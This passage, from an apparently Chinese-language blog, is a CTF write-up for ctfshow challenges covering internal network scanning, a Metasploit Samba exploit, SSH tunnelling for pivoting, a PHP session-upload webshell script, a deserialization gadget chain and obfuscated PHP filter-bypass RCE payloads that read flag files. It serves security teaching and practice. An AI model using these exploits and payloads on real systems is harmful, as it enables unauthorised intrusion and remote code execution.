sizes=\"auto, (max-width: 811px) 100vw, 811px\" \/><\/div><\/figure>\n\n\n\n<p>\u7136\u540echmod 777 fscan_amd64\u7ed9\u4e00\u4e0b\u6267\u884c\u6743\u9650\uff0c\u7136\u540e\u5c31\u53ef\u4ee5\u5f00\u626b\u4e86<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\/fscan_amd64 -h 172.2.123.4\/24<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"914\" height=\"446\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2149\"  sizes=\"auto, (max-width: 914px) 100vw, 914px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u4e2a445\u7aef\u53e3\u7684ip\u770b\u8d77\u6765\u5f88\u53ef\u7591\uff0c\u7528msf\u6253\u4e0bSamba<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msfconsole\nuse exploit\/linux\/samba\/is_known_pipename\nset rhost 172.2.123.6\nexploit <\/code><\/pre>\n\n\n\n<p>\u62ff\u5230shell\u6267\u884c\u547d\u4ee4\u5373\u53ef<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"510\" height=\"64\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2150\"  sizes=\"auto, (max-width: 510px) 100vw, 510px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u5355\u5c42ssh\u96a7\u9053\u642d\u5efa<\/h3>\n\n\n\n<p>\u7b80\u5355\u8bb2\u8bb2\u5185\u7f51\u96a7\u9053\u7684\u642d\u5efa\uff0cSSH\u547d\u4ee4\u5176\u5b9e\u4e5f\u53ef\u4ee5\u7528\u4e8e\u5efa\u7acb\u672c\u5730\u7aef\u53e3\u8f6c\u53d1\uff08Local Port Forwarding\uff09\u7684\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -L 8085:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u76f8\u5f53\u4e8e\u6211\u4eec\u5df2\u7ecf\u83b7\u5f97\u4e86\u4e00\u53f0\u670d\u52a1\u5668\u7684\u6743\u9650(\u56e0\u4e3a\u9898\u76ee\u91cc\u6211\u4eec\u53ef\u4ee5\u76f4\u63a5\u63a7\u5236pwn.challenge.ctf.show\uff0c\u6240\u6240\u4ee5\u5b9e\u6218\u4e2d\u76f8\u5f53\u4e8e\u4e00\u53f0\u88ab\u6211\u4eec\u5728\u5916\u7f51\u6253\u70b9\u4e2d\u62ff\u4e0b\u7684\u670d\u52a1\u5668)\uff0c\u7136\u540e\u6211\u4eec\u7528\u8fd9\u4e2a\u53ef\u63a7\u670d\u52a1\u5668\u4f5c\u4e3a\u8df3\u677f\u653b\u51fb\u548c\u8fd9\u4e2a\u670d\u52a1\u5668\u5728\u540c\u4e00\u5185\u7f51\u4e2d\u7684\u5176\u4ed6\u673a\u5668\uff0c\u8fd9\u91cc\u6211\u4eec\u5c06\u672c\u5730\u76848085\u7aef\u53e3\u8f6c\u53d1\u5230\u53ef\u63a7\u670d\u52a1\u5668\u5185\u7f51\u4e2d172.2.136.5\u768480\u7aef\u53e3\uff0c\u7136\u540e\u800c\u5c31\u53ef\u4ee5\u8bbf\u95ee127.0.0.1:8085\u4ee5\u8bbf\u95ee172.2.136.5:80\uff0c\u8fd9\u4e2a172.2.136.5:80\u5c31\u662f\u6211\u4eec\u4ece\u5185\u7f51\u91cc\u626b\u51fa\u6765\u7684\u90a3\u4e00\u53f0\u670980\u7aef\u53e3\u7684\u673a\u5668<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-8-1024x530.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"530\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-8-1024x530.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2154\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u591a\u5c42ssh\u96a7\u9053\u642d\u5efa<\/h3>\n\n\n\n<p>\u6253\u5185\u7f51\u7684\u65f6\u5019\u7ecf\u5e38\u51fa\u73b0\u7684\u4e8b\u5c31\u662f\u6211\u4eec\u83b7\u5f97\u4e86\u4e00\u53f0\u5185\u7f51\u91cc\u670d\u52a1\u5668\u7684\u6743\u9650\uff0c\u7136\u540e\u8981\u901a\u8fc7\u8fd9\u53f0\u670d\u52a1\u5668\u6253\u5176\u4ed6\u673a\u5668\uff0c\u5927\u6982\u5c31\u662f\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>window\u653b\u51fb\u673a-&gt;linux\u673a\u5668(\u53ef\u63a7)-&gt;\u4e0elinux\u673a\u5668\u5728\u540c\u4e00\u4e2a\u5185\u7f51\u5185\u7684\u5176\u4ed6\u673a\u5668<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u76f4\u63a5\u7528\u62ff\u4e0b\u6743\u9650\u7684linux\u673a\u5668\u4f5c\u4e3a\u653b\u51fb\u673a\u663e\u7136\u5f88\u9ebb\u70e6\uff0c\u5f88\u591a\u5de5\u5177\u90fd\u4e0d\u5728\uff0c\u6240\u4ee5\u6211\u4eec\u4e00\u822c\u90fd\u4f1a\u628a\u8fd9\u53f0\u673a\u5668\u4f5c\u4e3a\u5de5\u5177\u642d\u5efa\u5185\u7f51\u96a7\u9053\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u53ef\u4ee5\u7528window\u653b\u51fb\u673a\u8bbf\u95ee\u6df1\u5c42\u5185\u7f51\u7684\u5176\u4ed6\u673a\u5668\u4e86\uff0c\u8fd8\u662f\u4ee5\u4e0a\u9762\u90a3\u4e2a\u9898\u4f5c\u4e3a\u4f8b\u5b50\uff0c\u8fd9\u6b21\u6211\u4eec\u628a\u8fc7\u7a0b\u53d8\u590d\u6742\u4e00\u70b9\u3002<\/p>\n\n\n\n<p>\u8fd9\u662f\u6211\u7684vps\uff0c\u6211\u4eec\u7528vps\u628a\u4e2d\u53ef\u63a7linux\u673a\u5668\u5185\u7f51\u4e2dip\u4e3a172.2.136.5\u768480\u7aef\u53e3\u8f6c\u53d1\u5230\u672c\u57309383\u7aef\u53e3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -L 9383:172.2.136.5:80 ctfshow@pwn.challenge.ctf.show -p 28227<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u7528\u540c\u6837\u65b9\u5f0f\uff0c\u628a\u8fdc\u7a0bvps\u4e0a\u76849383\u7aef\u53e3\u8f6c\u53d1\u5230\u672c\u5730\u76848086\u7aef\u53e3\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh -L 8086:127.0.0.1:9383 root@vps_ip -p vps_port<\/code><\/pre>\n\n\n\n<p>\u8fc7\u7a0b\u5c31\u662f\uff1a\u8fdc\u7a0b\u4e3b\u673a172.2.136.5\u768480\u7aef\u53e3\u8f6c\u53d1\u5230vps\u76849383\u7aef\u53e3\uff0c\u518d\u628avps\u76849383\u7aef\u53e3\u8f6c\u53d1\u5230\u672c\u5730window\u673a\u5668\u76848086\u7aef\u53e3\uff0c\u56e0\u6b64\u6211\u4eec\u901a\u8fc7\u8bbf\u95ee\u672c\u5730window\u673a\u5668\u76848086\u7aef\u53e3\u5c31\u53ef\u4ee5\u8bbf\u95ee\u8fdc\u7a0b\u4e3b\u673a\u5185\u7f51\u4e2d172.2.136.5\u768480\u7aef\u53e3\u4e0a\u7684\u670d\u52a1\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-9-1024x525.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"525\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/08\/1-9-1024x525.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2157\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4e8c\u5c42\u5185\u7f51\u7684\u8bdd\u4e5f\u53ef\u4ee5\u7528\u76f8\u540c\u65b9\u5f0f<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5143\u65e6\u6c34\u53cb\u8d5b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">easy_include<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code> &lt;?php\n\nfunction waf($path){\n    $path = str_replace(\".\",\"\",$path);\n    return preg_match(\"\/^&#91;a-z]+\/\",$path);\n}\n\nif(waf($_POST&#91;1])){\n    include \"file:\/\/\".$_POST&#91;1];\n}\n<\/code><\/pre>\n\n\n\n<p>\u5305\u542bsession<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nurl = \"http:\/\/0da655f6-a9eb-4f82-82cf-42afc01b595b.challenge.ctf.show\/\"\n\ndata = {\n    'PHP_SESSION_UPLOAD_PROGRESS': '&lt;?php eval($_POST&#91;2]);?&gt;',\n    '1':'localhost\/tmp\/sess_ctfshow',\n    '2':'system(\"cat \/flag_is_here.txt\");'\n}\nfile = {\n    'file': 'ctfshow'\n}\ncookies = {\n    'PHPSESSID': 'ctfshow'\n}\n\nresponse = requests.post(url=url,data=data,files=file,cookies=cookies)\n\nprint(response.text)\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">easy_web<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nheader('Content-Type:text\/html;charset=utf-8');\nerror_reporting(0);\n\n\nfunction waf1($Chu0){\n    foreach ($Chu0 as $name => $value) {\n        if(preg_match('\/&#91;a-z]\/i', $value)){\n            exit(\"waf1\");\n        }\n    }\n}\n\nfunction waf2($Chu0){\n    if(preg_match('\/show\/i', $Chu0))\n        exit(\"waf2\");\n}\n\nfunction waf_in_waf_php($a){\n    $count = substr_count($a,'base64');\n    echo \"hinthinthint,base64\u5594\".\"&lt;br>\";\n    if($count!=1){\n        return True;\n    }\n    if (preg_match('\/ucs-2|phar|data|input|zip|flag|\\%\/i',$a)){\n        return True;\n    }else{\n        return false;\n    }\n}\n\nclass ctf{\n    public $h1;\n    public $h2;\n\n    public function __wakeup(){\n        throw new Exception(\"fastfast\");\n    }\n\n    public function __destruct()\n    {\n        $this->h1->nonono($this->h2);\n    }\n}\n\nclass show{\n\n    public function __call($name,$args){\n        if(preg_match('\/ctf\/i',$args&#91;0]&#91;0]&#91;2])){\n            echo \"gogogo\";\n        }\n    }\n}\n\nclass Chu0_write{\n    public $chu0;\n    public $chu1;\n    public $cmd;\n    public function __construct(){\n        $this->chu0 = 'xiuxiuxiu';\n    }\n\n    public function __toString(){\n        echo \"__toString\".\"&lt;br>\";\n        if ($this->chu0===$this->chu1){\n            $content='ctfshowshowshowwww'.$_GET&#91;'chu0'];\n            if (!waf_in_waf_php($_GET&#91;'name'])){\n                file_put_contents($_GET&#91;'name'].\".txt\",$content);\n            }else{\n                echo \"\u7ed5\u4e00\u4e0b\u5427\u5b69\u5b50\";\n            }\n                $tmp = file_get_contents('ctfw.txt');\n                echo $tmp.\"&lt;br>\";\n                if (!preg_match(\"\/f|l|a|g|x|\\*|\\?|\\&#91;|\\]| |\\'|\\&lt;|\\>|\\%\/i\",$_GET&#91;'cmd'])){\n                    eval($tmp($_GET&#91;'cmd']));\n                }else{\n                    echo \"waf!\";\n                }\n\n            file_put_contents(\"ctfw.txt\",\"\");\n        }\n        return \"Go on\";\n        }\n}\n\n\nif (!$_GET&#91;'show_show.show']){\n    echo \"\u5f00\u80c3\u5c0f\u83dc\uff0c\u5c31\u8ba9\u6211\u6210\u4e3a\u7b7e\u5230\u9898\u53ed\";\n    highlight_file(__FILE__);\n}else{\n    echo \"WAF,\u542f\u52a8\uff01\";\n    waf1($_REQUEST);\n    waf2($_SERVER&#91;'QUERY_STRING']);\n    if (!preg_match('\/^&#91;Oa]:&#91;\\d]\/i',$_GET&#91;'show_show.show'])){\n        unserialize($_GET&#91;'show_show.show']);\n    }else{\n        echo \"\u88abwaf\u5566\";\n    }\n\n}<\/code><\/pre>\n\n\n\n<p>\u62c6\u5f00\u770b\uff0c\u628awaf\u5565\u7684\u90fd\u5148\u4e0d\u770b\uff0c\u5173\u952e\u662f\u89e6\u53d1\u5230Chu0_write\u7684toString()<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nheader('Content-Type:text\/html;charset=utf-8');\nerror_reporting(0);\n\nclass ctf{\n    public $h1;\n    public $h2;\n\n    public function __destruct()\n    {\n        $this->h1->nonono($this->h2);\n    }\n}\n\nclass show{\n\n    public function __call($name,$args){\n        if(preg_match('\/ctf\/i',$args&#91;0]&#91;0]&#91;2])){\n            echo \"gogogo\";\n        }\n    }\n}\n\nclass Chu0_write{\n    public function __toString(){\n        echo \"__toString\".\"&lt;br>\";\n        }\n}\n\nunserialize($_GET&#91;'show_show.show']);<\/code><\/pre>\n\n\n\n<p>\u94fe\u5b50\u5012\u662f\u4e0d\u96be<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>ctf::__destruct\n\u2193\u2193\u2193\nshow::__call()\n\u2193\u2193\u2193\nChu0_write<\/code>::tostring<\/code><\/pre>\n\n\n\n<p>\u7ed9ctf->$h1\u8d4b\u4e3ashow\uff0c\u8fd9\u6837\u89e6\u53d1call\uff0c\u7136\u540e$b=new Chu0_write(); $c=array(&#8221;,&#8221;,$b);$a->h2=array($c);\u5b9e\u73b0\u5bf9Chu0_write::tostring\u7684\u89e6\u53d1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nclass ctf{\n    public $h1;\n    public $h2;\n\n    public function __destruct()\n    {\n        $this->h1->nonono($this->h2);\n    }\n}\n\nclass show{\n\n    public function __call($name,$args){\n        if(preg_match('\/ctf\/i',$args&#91;0]&#91;0]&#91;2])){\n            echo \"gogogo\";\n        }\n    }\n}\n\nclass Chu0_write{\n    public function __toString(){\n        echo \"__toString\".\"&lt;br>\";\n        }\n}\n$a=new ctf();\n$b=new Chu0_write();\n$c=array('','',$b);\n$a->h1=new show();\n$a->h2=array($c);\necho serialize($a);\n#O:3:\"ctf\":2:{s:2:\"h1\";O:4:\"show\":0:{}s:2:\"h2\";a:1:{i:0;a:3:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;O:10:\"Chu0_write\":0:{}}}}\n?><\/code><\/pre>\n\n\n\n<p>\u4f20\u7684\u65f6\u5019\u7528show[show.show\uff0cphp\u5224\u65ad\u7684\u65f6\u5019\u4f1a\u628a\u7b2c\u4e00\u4e2a[\u8f6c\u4e3a_\u7136\u540e\u540e\u9762\u7684\u5c31\u4e0d\u4fee\u6539\u4e86\u3002\u7136\u540e\u6765\u770bwaf<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>function waf1($Chu0){\n    foreach ($Chu0 as $name => $value) {\n        if(preg_match('\/&#91;a-z]\/i', $value)){\n            exit(\"waf1\");\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u7b80\u5355\uff0c\u540e\u9762\u5224\u65ad\u662fwaf1($_REQUEST);\uff0c\u540c\u65f6\u4f20post\u548cget\u5176\u5b9e\u53ea\u4f1a\u5224\u65adget\uff0c\u6240\u4ee5post\u968f\u4fbf\u4f20\u4e00\u4e2a1\u5c31\u884c\u4e86\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">RCE\u6781\u9650\u6311\u6218<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">RCE\u6311\u62181<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nerror_reporting(0);\nhighlight_file(__FILE__);\n\n$code = $_POST&#91;'code'];\n\n$code = str_replace(\"(\",\"\u62ec\u53f7\",$code);\n\n$code = str_replace(\".\",\"\u70b9\",$code);\n\neval($code);\n\n?&gt;<\/code><\/pre>\n\n\n\n<p>php\u91cc\u53ef\u4ee5\u7528&lt;?=xxx ?&gt;\u8f93\u51fa\u8868\u8fbe\u5f0f\u7684\u503c\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u95ed\u5408\u524d\u9762\u7684&lt;?php\uff0c\u7136\u540e\u7528\u53cd\u5f15\u53f7\u8f93\u51fa\u6267\u884c\u547d\u4ee4\u7684\u7ed3\u679c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>code=?&gt;&lt;?= `cat \/f*`; <\/code><\/pre>\n\n\n\n<p>\u5f53\u7136\u4e5f\u53ef\u4ee5\u7528\u6211\u4e4b\u524d[HBCTF2017]\u5927\u7f8e\u897f\u5b89\u7684\u65b9\u6cd5\uff0c\u76f4\u63a5echo\u51fa\u6267\u884c\u7ed3\u679c\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>code=echo `cat \/f*`;<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">RCE\u6311\u62182<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76Y4tacker\u4f6c\u5728\u5403\u74dc\u676f\u6295\u7a3f\u7684shellme\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (is_string($ctfshow)) {\n        if (!preg_match(\"\/&#91;a-zA-Z0-9@#%^&amp;*:{}\\-&lt;\\?&gt;\\\"|`~\\\\\\\\]\/\",$ctfshow)){\n            eval($ctfshow);\n        }else{\n            echo(\"Are you hacking me AGAIN?\");\n        }\n    }else{\n        phpinfo();\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u56e0\u4e3a\u6211\u5bf9\u6b63\u5219\u4e0d\u662f\u5f88\u719f\u6089\uff0c\u6240\u4ee5\u672c\u6765\u60f3\u76f4\u63a5\u95eeChatGPT\u8fc7\u6ee4\u4e86\u5565\uff0c\u7f51\u4e0a\u770b\u5230\u4e86\u4e00\u4e2a\u5927\u4f6c\u7684\u811a\u672c\u633a\u597d\u7684\uff0c\u5176\u5b9e\u76f4\u63a5\u66b4\u529b\u904d\u5386\u4e00\u904d\u5c31\u53ef\u4ee5\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nfor($a = 0; $a &lt; 256; $a++){\n    if (!preg_match(\"\/&#91;a-zA-Z0-9@#%^&amp;*:{}\\-&lt;\\?&gt;\\\"|`~\\\\\\\\]\/\",chr($a))){\n        echo chr($a).\" \";\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u5927\u6982\u5269\u4e0b\u7684\u53ef\u7528\u7684\u5c31\u662f\uff0c\u90a3\u4e9b\u4e0d\u53ef\u89c1\u5b57\u7b26\u5c31\u7b97\u4e86\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>! $ ' ( ) + , . \/ ; = &#91; ] _<\/code><\/pre>\n\n\n\n<p>\u7b80\u5355\u770b\u4e0b\u8fc7\u6ee4\uff0c\u5176\u5b9e\u548c\u4e4b\u524d\u8bad\u7ec3\u8425\u90a3\u4e2a\u9898\u5dee\u4e0d\u591a\uff0c\u6539\u6539\u5c31\u80fd\u7528\uff0c\u4e0d\u8fc7\u8bad\u7ec3\u8425\u6211\u4eec\u4f7f\u7528\u4e86$__=++$____; &#8211;$__;\u8fd9\u79cd\u5f62\u5f0f\u6784\u9020\u4e86\u6570\u5b57\u96f6\uff0c\u4f46\u8fd9\u91cc\u51cf\u53f7\u88ab\u8fc7\u6ee4\u4e86\u6240\u4ee5\u6ca1\u6cd5\u4e86\u3002\u56e0\u6b64\u9700\u8981\u627e\u5176\u4ed6\u9014\u5f84\uff0c\u5f53\u65f6\u6211\u4eec\u6784\u9020\u96f6\u7684\u4f5c\u7528\u662f\u4e3a\u4e86\u5728(_\/_).&#8221;=NAN\u540e\u7528\u6570\u7ec4\u7684\u5f62\u5f0f\u53d6\u51fa\u7b2c\u4e00\u4e2a\u5b57\u6bcd\uff0c\u6240\u4ee5\u9700\u8981((_<em>\/_<\/em>).&#8221;){0}=&#8217;N&#8217;\uff0c\u4e0d\u8fc7\u5176\u5b9e\u9664\u4e86\u8fd9\u6837\u8fd8\u6709\u79cd\u65b9\u6cd5\u4e5f\u53ef\u4ee5\u5b8c\u6210\u8fd9\u4ef6\u4e8b\uff0c\u6211\u4eec\u5728\u8fd9\u91cc\u53ef\u4ee5\u7528\u4e00\u4e2a\u5224\u65ad\uff0c\u6bd4\u5982\u6211\u4eec\u5728[]\u91cc\u52a0\u4e00\u4e2a<code>==$<\/code>\uff0c\u6b64\u65f6\u56e0\u4e3a\u7a7a\u548c<code>$<\/code>\u4e0d\u540c\uff0c\u5b83\u5c31\u4f1a\u8f93\u51fa<code>0<\/code>\uff0c\u6b64\u65f6\u4e5f\u5c31\u7b49\u540c\u4e8e$_[0]\uff0c\u6240\u4ee5\u4e8b\u5b9e\u4e0a((_\/_).&#8221;)[&#8221;==&#8217;$&#8217;]=&#8217;N&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-31-1024x140.jpg'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"140\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2023\/02\/1-31-1024x140.jpg\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-1049\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6700\u540e\u6211\u4eec\u62ff\u4e4b\u524d\u7ed3\u8425\u8d5b\u7684payload\u6784\u9020\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$____=((_\/_).'')&#91;''=='$']; #N\n$_____=++$____; #O\n++$____; #P\n$______=$____; #$______=P\n++$____; #Q\n++$____; #R\n++$____; #S\n$_______=$____; #$_______=S\n++$____; #T\n$________=$____; #$________=T\n$_________=$______.$_____.$_______.$________; #POST\n$_________='_'.$_________; #_POST\n$$_________&#91;_]($$_________&#91;__]); #$_POST&#91;_]($_POST&#91;__];)<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5payload\u4e3a:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$____=((_\/_).'')&#91;''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________&#91;_]($$_________&#91;__]);<\/code><\/pre>\n\n\n\n<p>\u6700\u540e\u53ef\u4ee5\u76f4\u63a5POST\u6267\u884c\u547d\u4ee4\u7684payload\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&amp;_=system&amp;__=cat \/f*<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">RCE\u6311\u62183<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\/\/\u672c\u9898\u7075\u611f\u6765\u81ea\u7814\u7a76Y4tacker\u4f6c\u5728\u5403\u74dc\u676f\u6295\u7a3f\u7684shellme\u65f6\u60f3\u5230\u7684\u59ff\u52bf\uff0c\u592a\u68d2\u5566~\u3002\nerror_reporting(0);\nhighlight_file(__FILE__);\n\nif (isset($_POST&#91;'ctf_show'])) {\n    $ctfshow = $_POST&#91;'ctf_show'];\n    if (is_string($ctfshow) &amp;&amp; strlen($ctfshow) &lt;= 105) {\n        if (!preg_match(\"\/&#91;a-zA-Z2-9!'@#%^&amp;*:{}\\-&lt;\\?&gt;\\\"|`~\\\\\\\\]\/\",$ctfshow)){\n            eval($ctfshow);\n        }else{\n            echo(\"Are you hacking me AGAIN?\");\n        }\n    }else{\n        phpinfo();\n    }\n}\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u53ef\u7528\u5b57\u7b26\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ ( ) + , . \/ 0 1 ; = &#91; ] _ 